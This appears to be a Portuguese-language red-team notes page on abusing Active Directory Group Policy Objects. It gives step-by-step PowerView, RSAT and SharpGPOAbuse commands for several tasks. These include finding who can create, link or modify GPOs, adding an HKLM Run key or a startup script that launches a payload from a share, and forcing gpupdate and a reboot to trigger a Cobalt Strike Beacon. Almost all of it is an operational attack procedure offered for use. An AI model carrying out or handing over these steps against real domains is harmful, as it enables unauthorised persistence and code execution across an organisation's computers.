GPO (Group Policy Objects)
Criando GPO e Linkando com uma OU
Os objetos de política de grupo são armazenados em CN=Policies,CN=System
- os principais que podem criar novos GPOs no domínio têm o privilégio Create groupPolicyContainer objects
sobre este objeto. Podemos encontrá-los com o cmdlet Get-DomainObjectAcl
do PowerView, procurando aqueles que têm direitos CreateChild
no Group-Policy-Container
e, em seguida, resolvendo seus SIDs para nomes legíveis.
powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=<subdomain>,DC=<domain>,DC=<local>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
A partir do resultado do comando acima, podemos ver quais grupos tem direito de criar GPO. Porém, ser capaz de criar um GPO não resulta em nada, a menos que possa ser vinculado a uma OU. A capacidade de vincular um GPO a uma OU é controlada na própria OU, concedendo privilégios Write gPLink
. Isso é algo que podemos encontrar com o PowerView, primeiro obtendo todas as OUs do Domínio e canalizando-as para Get-DomainObjectAcl
novamente. Itere sobre cada um deles procurando instâncias de WriteProperty
sobre GP-Link
.
powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
Caso o retorno seja positivo, então já sabemos que os membros de um determinado grupo, podem vincular GPOs a uma determianda OU. Aliás guarde o valor de ObjectDN
para uso futuro.
Os GPOs podem ser gerenciados na linha de comando por meio dos módulos RSAT do PowerShell. Esta é uma instalação opcional e geralmente encontrada apenas em estações de trabalho de gerenciamento. O cmdlet Get-Module
mostrará se eles estão presentes.
powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
Use o cmdlet New-GPO
para criar e vincular um novo GPO.
powershell New-GPO -Name "<Mysther GPO>"
Alguns abusos podem ser implementados diretamente usando o RSAT. Por exemplo, o cmdlet Set-GPPrefRegistryValue
pode ser usado para adicionar uma chave de execução automática HKLM ao registro.
powershell Set-GPPrefRegistryValue -Name "<Mysther GPO>" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\<dc\dir\dns_x64.exe>" -Type ExpandString
Agora, aplique o GPO à OU de destino. Pegue o valor de ObjectDN
pelo retorno do segundo comando, que em resumo será o caminho da OU vulnerável.
powershell Get-GPO -Name "<Mysther GPO>" | New-GPLink -Target "<ObjectDN>"
Lembre-se que, as execuções automáticas do HKLM exigem uma reinicialização do SO para serem executadas.
Modificando GPOs Existentes
Modificar um GPO existente que já esteja aplicado a uma ou mais OUs é o cenário mais simples. Para pesquisá-los, precisamos enumerar todos os GPOs do domínio com Get-DomainGPO
e verificar a ACL de cada um com Get-DomainObjectAcl
. Queremos filtrar qualquer um para o qual um principal tenha privilégios de modificação, como CreateChild
, WriteProperty
ou GenericWrite
, e também queremos filtrar os principais legítimos, incluindo SYSTEM, Domain Admins e Enterprise Admins.
powershell-import <C:\path\to\PowerView.ps1>
powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
Pegue o valor de ObjectDN
e converta em seu nome de GPO. Observe a saída em displarname
powershell Get-DomainGPO -Identity "<CN={SID},CN=Policies,CN=System,DC=domain,DC=local>" | select displayName, gpcFileSysPath
Agora vamos converter o SID capturado no campo SecurityIdentifier
, presente na saída do primeiro comando, utilizando-o no comando abaixo. A partir do resultado, iremos saber qual grupo tem privilégios (verificar permissões no campo ActiveDirectoryRights
) na GPO em questão.
powershell ConvertFrom-SID <SID-SecurityIdentifier>
Também queremos saber a quais OUs essa GPO se aplica e quais computadores estão nessas OUs. As GPOs são vinculados a uma OU modificando a propriedade gPLink
da própria OU. O cmdlet Get-DomainOU
possui um parâmetro -GPLink
que usa um GUID de GPO. No comando abaixo, utilize somente o valor SID (entre chaves) da GPO, presente no campo ObjectDN
.
powershell Get-DomainOU -GPLink "<{SID-GPO}>" | select distinguishedName
Finalmente, para obter os computadores em uma OU, podemos usar Get-DomainComputer
e usar o nome distinto da OU como base de pesquisa. Utilize o valor de distinguishedName
do comando acima, para montar o comando abaixo.
powershell Get-DomainComputer -SearchBase "<distinguishedName>" | select dnsHostName
Para modificar um GPO sem o uso do GPMC (Group Policy Management Console)
, podemos modificar os arquivos associados diretamente no SYSVOL (o gpcFileSysPath
).
ls \\<subdomain.domain.local>\SysVol\<subdomain.domain.local>\Policies\<{SID-GPO}>
Ou se preferir, podemos fazer isso de forma automatizada. Como exemplo, podemos usar um script de inicialização no SYSVOL, que será executado toda vez que um computador afetado for iniciado.
execute-assembly <C:\path\to\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe> --AddComputerScript --ScriptName <file.bat> --ScriptContents "start /b \\<dc\dir\dns_x64.exe>" --GPOName "<gpo-vulnerable-name>"
Para verificar se deu certo, execute o comando do PowerView abaixo
powershell Find-DomainShare -CheckShareAccess
Agora assim que a máquina alvo tiver sua GPO atualizada e a máquina for reiniciada, irá ser trigado o Beacon. Caso tenha acesso a máquina, force esse acontecimento com os seguintes comandos
gpupdate /force
shutdown -r -t 1
Sites
# SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
Last updated
Was this helpful?